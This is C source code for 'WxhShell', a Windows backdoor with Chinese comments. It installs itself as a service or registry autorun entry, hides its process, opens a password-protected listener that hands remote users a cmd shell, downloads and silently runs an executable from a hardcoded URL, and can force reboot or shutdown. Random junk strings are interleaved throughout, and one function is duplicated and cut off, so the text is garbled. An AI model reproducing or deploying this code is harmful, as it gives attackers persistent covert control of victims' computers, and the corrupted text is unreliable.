!R-z% s@hRqGd: static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YC_5YY(k static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !QI\Fz? 8vSse HANDLE hProcess; YW@#91. PROCESS_BASIC_INFORMATION pbi; hw N?/5 9[c%J*r HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6r:?;j~l if(NULL == hInst ) return 0; 2`GE :u8(^]N g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S& #U!#@ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ((tv2 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z7M_1%DEx 7pA/ if (!NtQueryInformationProcess) return 0; m!z|h9Ed f
h#C' sn hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h:zK(; if(!hProcess) return 0; NLPkh,T: :j')E`#
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &!aAO(g
}]n$ %g( CloseHandle(hProcess); m'\ 2:mDu0 <<](XgR( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mkh"Kb*{ if(hProcess==NULL) return 0; Ch$*Gm19Z jcNT<}k
C HMODULE hMod; Uy
? char procName[255]; km^^T_ M/ unsigned long cbNeeded; Ofm%:}LV n+lOb if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yme^b
;a I):!`R., CloseHandle(hProcess); %>-@K|:gS :ISMPe3' if(strstr(procName,"services")) return 1; // 以服务启动 r78TE@d kg@>;(V& return 0; // 注册表启动 ydw)mT44K } XU/QA
[K M?b6'd9f // 主模块 kn)t'_jC int StartWxhshell(LPSTR lpCmdLine) )ZrS{vY { :=%0Mb: SOCKET wsl; o?1;<gs BOOL val=TRUE; MX4]Vpv int port=0; s&\I=J. struct sockaddr_in door; b=~i)` D+_oVob\ if(wscfg.ws_autoins) Install(); "S3wk=?4 V[-jD8='3 port=atoi(lpCmdLine); FnJ?C&xK dq[Mj5eC if(port<=0) port=wscfg.ws_port; V=fEPM <mi-}s WSADATA data; p!k7C&]E if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b'6-dU% 5_XV%-wM if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; A,r*%&4~ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vad12WrG< door.sin_family = AF_INET; moP,B~ door.sin_addr.s_addr = inet_addr("127.0.0.1"); pv^O"Bs door.sin_port = htons(port); hx/N1x meN2ZB?Y if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "D?z closesocket(wsl); z]b>VpW: return 1; `tjH< } T\w?$ s 6c^e\0q if(listen(wsl,2) == INVALID_SOCKET) { asY[8r?U closesocket(wsl); ui (^k $ return 1; 0b4R } %Y!Yvw^&P( Wxhshell(wsl); /dv<qp WSACleanup(); el:9 wq vjjSKP6B return 0; ,+~rd4a pb#?l6x$+ } r5!/[_l CHV*vU<N // 以NT服务方式启动 <dW]\h?) VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %W@v2 { }Tf9S<xpq3 DWORD status = 0; Vp>|hj po DWORD specificError = 0xfffffff; G7N|
:YK JH:0
L serviceStatus.dwServiceType = SERVICE_WIN32; [s&$l G! serviceStatus.dwCurrentState = SERVICE_START_PENDING; V+I|1{@i0 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t|~YEQ serviceStatus.dwWin32ExitCode = 0; a'!zG cT serviceStatus.dwServiceSpecificExitCode = 0;
QtvY v! serviceStatus.dwCheckPoint = 0; 4)1s M=u serviceStatus.dwWaitHint = 0; +la2n(CAK pv&y91 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3e(ehLc4DJ if (hServiceStatusHandle==0) return; P(t[
eXe K_K5'2dE status = GetLastError(); pZtu&R%GU if (status!=NO_ERROR) dnj}AVfQx { e9Nk3Sj] serviceStatus.dwCurrentState = SERVICE_STOPPED; l x,"EOP serviceStatus.dwCheckPoint = 0; fu90]upz~ serviceStatus.dwWaitHint = 0; X/N0LU(q serviceStatus.dwWin32ExitCode = status; Zh_|m#) serviceStatus.dwServiceSpecificExitCode = specificError; ;|UF)QGa2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y(44pA&oN return; x' .:&z } >@"Oe
ss5m/i7 serviceStatus.dwCurrentState = SERVICE_RUNNING; da (km+ serviceStatus.dwCheckPoint = 0; ?JL:CBvCp serviceStatus.dwWaitHint = 0; 26xXl|I if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i86>] } E*jP8 7g ?s:d[To6 // 处理NT服务事件,比如:启动、停止 5Kkdo!z VOID WINAPI NTServiceHandler(DWORD fdwControl) V*W;OiE_3 { <Qxh)@
N switch(fdwControl) H@ t'~ZO { o1<_fI case SERVICE_CONTROL_STOP: G#MdfKH serviceStatus.dwWin32ExitCode = 0; <n(*Xak{a serviceStatus.dwCurrentState = SERVICE_STOPPED; ^a#X9 serviceStatus.dwCheckPoint = 0; Offu9`DiZ serviceStatus.dwWaitHint = 0; Me=CSQqf< { Br`IW SetServiceStatus(hServiceStatusHandle, &serviceStatus); WD1G&5XP } ,Jd
',>3 return; W^s
;Bi+Nw case SERVICE_CONTROL_PAUSE: )n ,P"0 serviceStatus.dwCurrentState = SERVICE_PAUSED; zA[0mkC?$ break; 4._(| case SERVICE_CONTROL_CONTINUE: J_FNAdQt serviceStatus.dwCurrentState = SERVICE_RUNNING; [ :zO}r: break; )KP5WudX case SERVICE_CONTROL_INTERROGATE: @r?Uua break; [o?*"c }; p1vp8p SetServiceStatus(hServiceStatusHandle, &serviceStatus); bR V+>;L0@ } @'|)~,"bx |O"lNUW // 标准应用程序主函数 :rg5Kt& int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C*`mM'# { uJ6DO#d`P Kw#i),M // 获取操作系统版本 7^g&)P OsIsNt=GetOsVer(); x:QgjK GetModuleFileName(NULL,ExeFile,MAX_PATH); VZ\B<i A,`8#-AX // 从命令行安装 VqS#waNrx if(strpbrk(lpCmdLine,"iI")) Install(); i F+vl] n/h,Lr)Z // 下载执行文件 %?m$`9yU if(wscfg.ws_downexe) { b?Ki;[+O if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {Lm~r+
U WinExec(wscfg.ws_filenam,SW_HIDE); &\Amn?Iq } 8HP6+c% sq;s]@~ if(!OsIsNt) { Ybn`3 // 如果时win9x,隐藏进程并且设置为注册表启动 G>q(iF' HideProc(); Ud!4"<C_ StartWxhshell(lpCmdLine); `(3/$% } SI=yI- else P><o,s"v if(StartFromService()) 5Lf{8UxI // 以服务方式启动 TY Qwy* StartServiceCtrlDispatcher(DispatchTable); qkC/\![@ else W16,Alf: // 普通方式启动 4fKC 6UR StartWxhshell(lpCmdLine); 5:kH;/U bP^Je&nS* return 0; NM06QzE } ZfB"
E Yboiwy,n PP!SK2u"L t1%_DPD%W =========================================== !U5Wr+83 ,%)6jYHR w [h,Q Bz )LyojwY_g ' Tc]KXD6 a|?4) " >hr{JJe Iyyh!MVF #include <stdio.h> EbdfV-E #include <string.h> TsGE cxIg #include <windows.h> 3%E74 mOcD #include <winsock2.h> (x3.poSt #include <winsvc.h> .<Zy|1
4 #include <urlmon.h> c.j$9=XLBG ,JEFGI{ #pragma comment (lib, "Ws2_32.lib") p8]68!=W\F #pragma comment (lib, "urlmon.lib") beu\cV3 }5(Ho$S( #define MAX_USER 100 // 最大客户端连接数 HTyLJe #define BUF_SOCK 200 // sock buffer B~_d^` #define KEY_BUFF 255 // 输入 buffer +mp@b942* <-u8~N@43W #define REBOOT 0 // 重启 X0n~-m"m #define SHUTDOWN 1 // 关机 %b"\bHH 1[yq0^\]M[ #define DEF_PORT 5000 // 监听端口 ('hEr~& E~_]Lfs) #define REG_LEN 16 // 注册表键长度 ^/U|2'$'>E #define SVC_LEN 80 // NT服务名长度 8f3vjK' YWxc-fPZ // 从dll定义API Zib)P & typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); />9OR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]~E0gsq typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sx8OhUyux typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {1b Zg d{E}6)1= // wxhshell配置信息 x*Y@Q?`>5W struct WSCFG { $9ky{T?YG int ws_port; // 监听端口 U~ck!\0&T char ws_passstr[REG_LEN]; // 口令 q@xBJ[IM int ws_autoins; // 安装标记, 1=yes 0=no b%S62(qP char ws_regname[REG_LEN]; // 注册表键名 =-}[^u1 char ws_svcname[REG_LEN]; // 服务名 1Q.\s_2 char ws_svcdisp[SVC_LEN]; // 服务显示名 zBe8,, e char ws_svcdesc[SVC_LEN]; // 服务描述信息 `IY/9'vT char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !ki.t int ws_downexe; // 下载执行标记, 1=yes 0=no KFFSv{m[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?IGVErnJJC char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [NTtz
<i@
3dRr/Ilc }; cJL'$`gWf 4`8< // default Wxhshell configuration ?A )hN8 struct WSCFG wscfg={DEF_PORT, &[;HYgp "xuhuanlingzhe", 6A=8+R'`F 1, [/BE8]M~ "Wxhshell", Y>&Ew*Y "Wxhshell", Z" uY}P3 "WxhShell Service", (1NA "Wrsky Windows CmdShell Service", _X'"w|0 "Please Input Your Password: ", PfZ+PqS 1, ?:L:EW8 "http://www.wrsky.com/wxhshell.exe", hjQ~uqbg "Wxhshell.exe" I*`* Q$ }; 8{Fsm;UsY +fnK/%b // 消息定义模块 V.{H9n]IO char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;ji pe3LU char *msg_ws_prompt="\n\r? for help\n\r#>"; xQ'2BAEa char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \l@,B +) char *msg_ws_ext="\n\rExit."; xu'yVt9RC char *msg_ws_end="\n\rQuit."; $]rj73p^tH char *msg_ws_boot="\n\rReboot..."; s$a09x char *msg_ws_poff="\n\rShutdown..."; iIP8`!
O char *msg_ws_down="\n\rSave to "; *<u2:=_s Qr$;AZ G char *msg_ws_err="\n\rErr!"; "^1L'4'S char *msg_ws_ok="\n\rOK!"; Y}vr>\ E{n:J3_X^d char ExeFile[MAX_PATH]; uSR~@Lj ~ int nUser = 0; NoJ`6MB HANDLE handles[MAX_USER]; NmSo4Dg`U int OsIsNt; &c*^VL\ XZ5 /=z SERVICE_STATUS serviceStatus; qVs\Y3u( SERVICE_STATUS_HANDLE hServiceStatusHandle; edK|NOOZ D11F.McM // 函数声明 $]q8,
N|1 int Install(void); Bk+{RN(w int Uninstall(void); v%RP0%%{s int DownloadFile(char *sURL, SOCKET wsh); A2nqf^b{# int Boot(int flag); is@b&V] void HideProc(void); YXI'gn2b# int GetOsVer(void); l3IWoa&sh int Wxhshell(SOCKET wsl); Y!T
%cTK)a void TalkWithClient(void *cs); }YHX-e<Yx] int CmdShell(SOCKET sock); lbuAE% int StartFromService(void); EMc;^ d int StartWxhshell(LPSTR lpCmdLine); DK
oN}c "kA*Vc# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O/!bG~\Y VOID WINAPI NTServiceHandler( DWORD fdwControl ); Tr#V*.x 8zBWIi // 数据结构和表定义 3ux0Jr2yT SERVICE_TABLE_ENTRY DispatchTable[] = :hI@AA>g { .YZgOJi {wscfg.ws_svcname, NTServiceMain}, _Dwqy( {NULL, NULL} ykFJ%sw3X }; yZWoN& 1u|Rl:Q // 自我安装 WsDM{1c int Install(void) 1NcCy!+ { xrN
&N_K# char svExeFile[MAX_PATH]; HyR!O> HKEY key; U5r7j strcpy(svExeFile,ExeFile); Wy%s1iu RAp=s // 如果是win9x系统,修改注册表设为自启动 /P
2[:[w if(!OsIsNt) { )<xypDQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i:l<C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ":nQgV\9 RegCloseKey(key); $*W6A/%O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~M(5Ho RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1=]kWp`i RegCloseKey(key); X~xd/M=9^ return 0; _H^^y$+1 } SKW%X8 } L-9~uM3@\ } ys#i@ else { >[1W:KQA 2>l,no39t+ // 如果是NT以上系统,安装为系统服务 ZoB{x*IH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nA~E
"* if (schSCManager!=0) NzW`B^p { NxLXm, SC_HANDLE schService = CreateService /CIh2
]#e ( d
O~O
|Xsb schSCManager, =GXu 5 8 wscfg.ws_svcname, aIXdV2QS wscfg.ws_svcdisp, )$Z=t-q SERVICE_ALL_ACCESS, $:of=WTY( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8#D:H/`' SERVICE_AUTO_START, `4 y]Z) SERVICE_ERROR_NORMAL, ^xZ
e2@ svExeFile, $v b,P( NULL, W@2vjz NULL, e9E\% p NULL, Ea(,aVlj NULL, &k8vWXMGk% NULL w;e(Gb%9 ); uZi.HG{<) if (schService!=0) &,.Y9;
b { Ei2%DMN7) CloseServiceHandle(schService); U/NBFc:[y: CloseServiceHandle(schSCManager); I_q~*/<h strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ')N{wSM9Ft strcat(svExeFile,wscfg.ws_svcname); A$WZF/x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~xIjF1Z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Hp|}~xjn RegCloseKey(key); jp+_@S> return 0; Pe2w sR"_U } dr<<! q / } i7LJ&g/) CloseServiceHandle(schSCManager); 5ZY)nelc } -<#!DjV6( } hwqbi "o =KT7nl return 1; -ti{6:H8 } .6~`Ubr}E **>/}.%?K // 自我卸载 /xJqJ_70X int Uninstall(void) g`>og^7g { R3X{:1{j HKEY key; {w
<+_++ fKtV'/X;Q if(!OsIsNt) { c={Ft*N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HWm#t./ RegDeleteValue(key,wscfg.ws_regname); 2Cg$,#H RegCloseKey(key); 4m-I5!=O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _3Cn{{ A0 RegDeleteValue(key,wscfg.ws_regname); U,Mx@KdV RegCloseKey(key); D?M!ra return 0; 0ji
q-3V) } ?U7) XvQ } aTzDew } _P?\.W@ else { x#C@8Bxq= :|1.seLQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HvxJj+X9 if (schSCManager!=0) M=]5WZO~A { X_$a,"'~) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jw
,izxia if (schService!=0) S.|FL%; { nNmsr=y5 if(DeleteService(schService)!=0) { =IKEb#R/ CloseServiceHandle(schService); oK9' CloseServiceHandle(schSCManager); Pj?Dmk~
return 0;
st'D } gf)t)- E CloseServiceHandle(schService); 3^=+gsc } jKIc09H| CloseServiceHandle(schSCManager); 4Tct } l?*r5[O>n } ZlKw_Sq: W9zE{)Sc~ return 1; iK_c.b } MK}-<&v NV r0M?`4 // 从指定url下载文件 +{53a_q int DownloadFile(char *sURL, SOCKET wsh) F&;
{
8%RI7Mg HRESULT hr; D,ly#Nn char seps[]= "/"; 3_5XHOdE char *token; ]=F8p2w? char *file; O3NWXe< char myURL[MAX_PATH]; o0z67(N&g char myFILE[MAX_PATH]; /b,TpuM^ TQ9D68
, strcpy(myURL,sURL); eXl=i-' token=strtok(myURL,seps); r(2R<A while(token!=NULL) 'PWQnt_U { s4T}Bsr file=token; =sOo:s token=strtok(NULL,seps); &GWkq> } hF&}lPVtv P(omfD4 GetCurrentDirectory(MAX_PATH,myFILE); `xKFqx:e strcat(myFILE, "\\"); _2vd`k strcat(myFILE, file); IJU0[EA]F send(wsh,myFILE,strlen(myFILE),0); `&$B3)Eb send(wsh,"...",3,0); R
UTnc hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qI3NkVA'C if(hr==S_OK) Z$ KV&.=+ return 0; @\Js8[wS9@ else +K6szGP return 1; #NRh\Wj| `^UK } XT@Mzo49z\ HT`1E0G8) // 系统电源模块 oYM,8 K int Boot(int flag) >E"9*:.^a { u2sR.%2U< HANDLE hToken; d @rs3Q1z TOKEN_PRIVILEGES tkp; t"s5\;IJ UU@fkk if(OsIsNt) { 8}BB OD OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PoD^`()FR{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XY+y}D
% tkp.PrivilegeCount = 1; X,v4d~>] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; msk/p>{O AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $->d! if(flag==REBOOT) { keqcV23k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >[*4Tjg return 0; %(LvE}[RJ } 2'{}<9 else { </E>tMW if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^abD!8 return 0; i</J @0}y } 'dt\db5p } 4Nmea-!* else { C9KWa*3 if(flag==REBOOT) { S_8r\B[>P if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &/ouW'oP return 0; AZZRa69= } MC=G "m:_ else { Rf[V)x if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RazBc .o< return 0; U=!@Db5k~ } &2.+Igo|G } C}CKnkMMD _ 6:ww/ return 1; %cW;}Y[?P } J4yt N3 3q &k // win9x进程隐藏模块 %<}=xJf>1 void HideProc(void) m)f|:MM { ?y-s20Kd 4#Eul HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Jyu`-=It if ( hKernel != NULL ) mtw9AoO { g"y?nF.&F pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n,KA&)/s ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aR:<<IF\ FreeLibrary(hKernel); LV.&>@* } [b`6v`x ')nnWlK return; ^Rmoz1d } ndOfbu;mf Tb# // 获取操作系统版本 x N`T int GetOsVer(void) $A?}a { En5!"w|j OSVERSIONINFO winfo; k!E"wJkpz winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F";FG 0 GetVersionEx(&winfo); 1VfSSO if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
.fJ*c return 1; g@E&uyM else K}2Npo
FS return 0; dt~iw } ]P*!'iYN( 97x%w]kV // 客户端句柄模块 my,x9UPs int Wxhshell(SOCKET wsl) j-* TXog { c$#GM57V SOCKET wsh; KO-a; [/ struct sockaddr_in client; /J;]u3e| DWORD myID; k!13=Gh fq Y1ggL while(nUser<MAX_USER) p\+6"28{_~ { pF='jj51 int nSize=sizeof(client); pbdF]>\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #`j][F@N if(wsh==INVALID_SOCKET) return 1; t F/nah .&(8(C handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4e/cqN6 if(handles[nUser]==0) sV'v*
1| closesocket(wsh); |#cAsf_{ else U_*3>Q nUser++; yqBa_XPV8 } l"L+e! B~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KnFQ)sX^ I Tn;m return 0; [|<EDR } yiO31uQt qvTKfIl{ // 关闭 socket 6J;i,/ky void CloseIt(SOCKET wsh) h,hL?imD { 1(pjVz& closesocket(wsh); ,cS0 nUser--; lA4hm4"i(, ExitThread(0); &(0N.=R } L?.7\a@ _3U|2(E // 客户端请求句柄 l4Y1( void TalkWithClient(void *cs) >p |yf.G { xSOoIsL[ 2H>aC
wfX SOCKET wsh=(SOCKET)cs; H%~Q?4 char pwd[SVC_LEN]; u#VweXyU char cmd[KEY_BUFF]; 8GW ut=D char chr[1]; SW=aHM int i,j; *2#FRA#q
wQw-:f- while (nUser < MAX_USER) { 7*g(@d ?.j,Bq5At if(wscfg.ws_passstr) { 2MT_#r_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?w8pLE~E //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); um}N%5GAa //ZeroMemory(pwd,KEY_BUFF); 44<v9uSK i=0; _r7=&oL.Q while(i<SVC_LEN) { @e={Wy+Vm( uOb2npPj // 设置超时 rr)9Y][l} fd_set FdRead; NlMQHma struct timeval TimeOut; ,W8au" FD_ZERO(&FdRead); :@WLGK*u. FD_SET(wsh,&FdRead); cUNGo%Y TimeOut.tv_sec=8; *G9
[j$ TimeOut.tv_usec=0; HIrEv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Hp*gv/0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `%%?zgY -7,vtd[h if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gb9[Meg' pwd=chr[0]; i&1U4q if(chr[0]==0xd || chr[0]==0xa) { _&K\D
p&@ pwd=0; Yd.02 7 break; X-v~o/r7 } UCn.t i++; 5{HtJ?sKc5 } UXQb={ }`4K)(>4nG // 如果是非法用户,关闭 socket SCI1bMf if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &EGY+p|2Y } *se u& @n>{&^-c send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GA7u5D"0 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^xmZ|f- at=D&oy4"+ while(1) { ?U$}Rsk{# .u&|e ZeroMemory(cmd,KEY_BUFF); bt0djJRw E2-ojL[6 // 自动支持客户端 telnet标准 $u&|[vcP0 j=0; |O%:P}6c while(j<KEY_BUFF) { O<bDU0s{M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z,M'Tr.1| cmd[j]=chr[0]; )2#vhMpdN if(chr[0]==0xa || chr[0]==0xd) { nxD'r cmd[j]=0; tb: break; FBcm;cjH } M,ppCHy/$ j++; ?C
FS}v } TJE%
U0Ln {$3j/b // 下载文件 Wf_CR( if(strstr(cmd,"http://")) { v?FhG
b~1 send(wsh,msg_ws_down,strlen(msg_ws_down),0); S\}?zlV if(DownloadFile(cmd,wsh)) 8IpxOA#jQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); KQ- ,W8Q5 else p|b+I"M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5DmCxg } S3b|wUf else { umqLKf=x! o; 6fvn switch(cmd[0]) { 9/FG,9 keq r%:E8 // 帮助 =rtS#u
Y case '?': { yi sF5`+ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4c break; #_on{I } ]s f2"~v // 安装 zoJ_=- *s case 'i': { Oi6f8*, if(Install()) P=&'wblm? send(wsh,msg_ws_err,strlen(msg_ws_err),0); :
x>I-
3G else mu 2
A% "7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \nrgAC-b break; ?e"Wu+q~L } pCz@(:0 // 卸载 +SAk:3.#CV case 'r': { ~*jsB=XM/ if(Uninstall()) (s5< send(wsh,msg_ws_err,strlen(msg_ws_err),0); >6*(}L9 else KuIBYaK,
g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <j{0!J@: break; pk;ff q@ } lb-S0plw // 显示 wxhshell 所在路径 y{@P1{ case 'p': { y;zt_O/ char svExeFile[MAX_PATH]; &G0l&8pa strcpy(svExeFile,"\n\r"); VfQMFb',o strcat(svExeFile,ExeFile); hTlnw[I send(wsh,svExeFile,strlen(svExeFile),0); %~][?Y >< break; )GB3=@ } ){+.8KI // 重启 zJz82jMm case 'b': { i<B: send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Oqd"0Qt- if(Boot(REBOOT)) HyZVr2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); i,mrMi
c# else { Pz5ebhgq closesocket(wsh); IOSuaLH^ ExitThread(0); k&MlQ2'!< } ?BWHr(J break; M(_^'3u } (45NZBs // 关机 <QYCo1_ case 'd': { FE0qw1{qQ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HiQoRk if(Boot(SHUTDOWN)) l*F!~J3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); HXD*zv@ *6 else { 73&]En closesocket(wsh); $
/}: P ExitThread(0); (eCF>Wh^m } 9
Q0#We* break; ,[Dh2fPM, } S4#A#a2J // 获取shell N>uA|<b, case 's': { S^3g]5YX CmdShell(wsh); l9M#]*{ closesocket(wsh); f28gE7Y\a ExitThread(0); f?/|;Zo4 break; [z
W_%O kP } n@G:e-m{A // 退出 `E./p case 'x': { Rel(bA-[N send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LFk5rv'sM0 CloseIt(wsh); hEyX~f break; E9L!O.Q } WE+sFaKq- // 离开 2(+RIu0d case 'q': { m1^dT_7Z
send(wsh,msg_ws_end,strlen(msg_ws_end),0); *%ed;>6:Q closesocket(wsh); :pA=V WSACleanup(); N+Q(V*:3v exit(1); g\
8#:@at break; nU=f<]S= } 5QqJI#4~ } kGB#2J } ""25ay E[SV*1) // 提示信息 4@/ q_*3o if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
H B::0l< } sDzD
8as } W _PM!>8` _9}x2uO~ return; o1fyNzq< } #U?EOm J]n7| L // shell模块句柄 :0J-ek.; int CmdShell(SOCKET sock) "'Q" (S { kr/1Dsr4 STARTUPINFO si; {u(}ED#p ZeroMemory(&si,sizeof(si)); x?k si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A^T~@AO si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #U",,*2 PROCESS_INFORMATION ProcessInfo; "sX[p char cmdline[]="cmd"; +t7c&td\ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n.Ur-ot return 0; %0ll4" } eZ8Y"i\!y *@\?}cX // 自身启动模式 XPc9z}/(e int StartFromService(void) *tq|x[< { o*O"\/pmF typedef struct SXHru Z { F8|5_214' DWORD ExitStatus; 1+16i=BF) DWORD PebBaseAddress; 6T{o3wc; DWORD AffinityMask; L]/\C{}k DWORD BasePriority; )rs|=M=Xk ULONG UniqueProcessId; dVj' ULONG InheritedFromUniqueProcessId; f{+LCMbC6 } PROCESS_BASIC_INFORMATION; Vz7w{HY =`7#^7Q9 PROCNTQSIP NtQueryInformationProcess; J{GFb 9a"Y,1 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )$gsU@H - static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +(I`@5 giPhW> HANDLE hProcess; a0V8L+v( PROCESS_BASIC_INFORMATION pbi; DWm;&RPJ Pv{,aV\I} HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z?.p%*>`T= if(NULL == hInst ) return 0; T>%uRK$ 0%A(dJA6 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qq;m"M / g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :oon}_MdRd NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M0;t%*1 K=!ZI/+ju if (!NtQueryInformationProcess) return 0; 2-cU -i4 8ACYuN\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HdY3DdC%q if(!hProcess) return 0; yVmtsQ-}a Dho[{xJ46 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S2At$47v YaY;o^11/ CloseHandle(hProcess); QigoRB!z#9 Ads<-.R hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 